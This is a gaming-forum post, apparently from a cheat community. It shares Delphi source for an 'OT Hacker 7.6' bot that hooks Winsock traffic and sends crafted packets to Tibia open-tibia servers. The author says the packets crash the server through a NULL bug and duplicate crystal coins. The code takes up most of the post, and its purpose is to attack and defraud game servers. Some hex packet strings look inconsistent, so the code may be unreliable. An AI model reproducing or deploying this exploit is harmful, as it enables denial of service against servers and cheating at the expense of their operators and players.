sikas stop flaming the guy lol... and as for the exp hack, i dont think there are any working ones atm :/ (ofc a while ago, there was a Buy-only bot that clamed it cud change your wow-stats to 99999, and im not even sure if it was ever real but looked real in the youtube movies, lol)
and sikas, in the game Tibia OT, i can dupe money, and items (thought its server-sided) cause i found a NULL-bug in "stackable-objects" that i can use to crash the server (with packet-editing), and guess what? i made a bot out of it, lol
V is code to a bot that with some brain (multi-clienting, logout=save, crash logout= not save), can help u hack Server-sided values in the game "Tibia OT 7.6" lol :p
Code:
library rPE_ex;
uses
windows,
Winsock2,
winsock,
rpefuncs;
procedure Send_WS1(s: TSocket; var Buf : PChar; len, flags: Integer; pSendWs1, pRecvWs1, pSendWs2, pRecvWs2: Pointer; var IsWorking : Boolean); stdcall;
var
FilterExList : TFilterExList;
CurHex: string;
i : integer;
begin
CurHex := GetBufferAsHex(buf, len);
// Down is *OT Hacker* Crash Server Method 1
if (pos('2400960409004F54204861636B65721500437261736820536572766572204D6574686F642031',CurHex) <> 0) then
begin
setlength(FilterExList,1);
CurHex := GetBufferAsHex(buf, len);
@Send_Callback := pSendWs1;
for i := 0 to 20 do
begin
SendPacket(s,'0500A480010');
end;
begin
SendPacket(s,'0F0078FFFF0A0000D70B00');
end;
end;
// Down is *OT Hacker* Crash Server Method 2
if (pos('2400960409004F5 4204861636B65721500437261736820536572766572204D6574686F642032',CurHex) <> 0) then
begin
setlength(FilterExList,1);
CurHex := GetBufferAsHex(buf, len);
@Send_Callback := pSendWs1;
for i := 0 to 20 do
begin
SendPacket(s,'0F0078FFFF0A0000D70B00FFF050000');
SendPacket(S,'0F0078FFFF050000D70B0FFF3000');
end;
begin
SendPacket(s,'0F0078FFFF0A0000D70B00');
end;
end;
// Down is *OT Hacker* Create 100 Crystall Coin 0F0078FFFF0A0000D70B00
if (pos('2700960409004F54204861636B6572180043726561746520313030204372797374616C6C20436F696E',CurHex) <> 0) then
begin
setlength(FilterExList,1);
CurHex := GetBufferAsHex(buf, len);
@Send_Callback := pSendWs1;
for i := 0 to 100 do
begin
Sleep(10);
SendPacket(s,'0F0078FFFF0AE30B00FFFF05000000');
SendPacket(S,'0A0082FFFF050000E30B0001');
SendPacket(S,'0A0082FFFF050000DB0B0001');
SendPacket(S,'0F0078FF050000E30B00FFFF40000001');
end;
end;
// Down is *OT Hacker* Create BP Crystall Coin
if (pos('2600960409004F54204861636B65721700437265617465204250204372797374616C6C20436F696E',CurHex) <> 0) then
begin
setlength(FilterExList,1);
CurHex := GetBufferAsHex(buf, len);
@Send_Callback := pSendWs1;
for i := 0 to 8000 do
begin
Sleep(10);
SendPacket(s,'0FFFFF0A0000E30B00FFFF05000000');
SendPacket(S,'0A0082FFFF050000E30B0001');
SendPacket(S,'0A0082FFFF050000DB0B0001');
SendPacket(S,'0F0078FF0000E30B00FFFF40000001');
end;
end;
// Down is *OT Hacker* FastCreate 100 Crystall Coin (warning, can get tibia to crash...)
if (pos('2B00960409004F54204861636B65721C004661737443726561746520313030204372797374616C6C20436F696E',CurHex) <> 0) then
begin
setlength(FilterExList,1);
CurHex := GetBufferAsHex(buf, len);
@Send_Callback := pSendWs1;
for i := 0 to 100 do
begin
SendPacket(s,'0F0078FFFF0A0000E300FFFF0500');
SendPacket(S,'0A0082FFFF050000E30B0001');
SendPacket(S,'0A0082FFFF050000DB0B0001');
SendPacket(S,'0F0078FFFF05030B00FFFF40000001');
end;
end;
// Down is *OT Hacker* FastCreate BP Crystall Coin (warning, can get tibia to crash...)
if (pos('2A00960409004F54204861636B65721B0046617374437265617465204250204372797374616C6C20436F696E',CurHex) <> 0) then
begin
setlength(FilterExList,1);
CurHex := GetBufferAsHex(buf, len);
@Send_Callback := pSendWs1;
for i := 0 to 8000 do
begin
SendPacket(s,'0F0078FFFF0AE30B00FFFF05000000');
SendPacket(S,'0A0082FFFF050000E30B0001');
SendPacket(S,'0A0082FFFF050000DB0B0001');
SendPacket(S,'0F0078FF0500E30B00FFFF40000001');
end;
end;
end;
exports
Send_WS1;
begin
ShowMessage ('This is OT Hacker 7.6 bot');
ShowMessage ('Readme: Read the damn readme file, lool :p');
ShowMessage ('Creator: Hans Henrik. Credits: rEdoX (cud never have done it without him! ^^)');
end.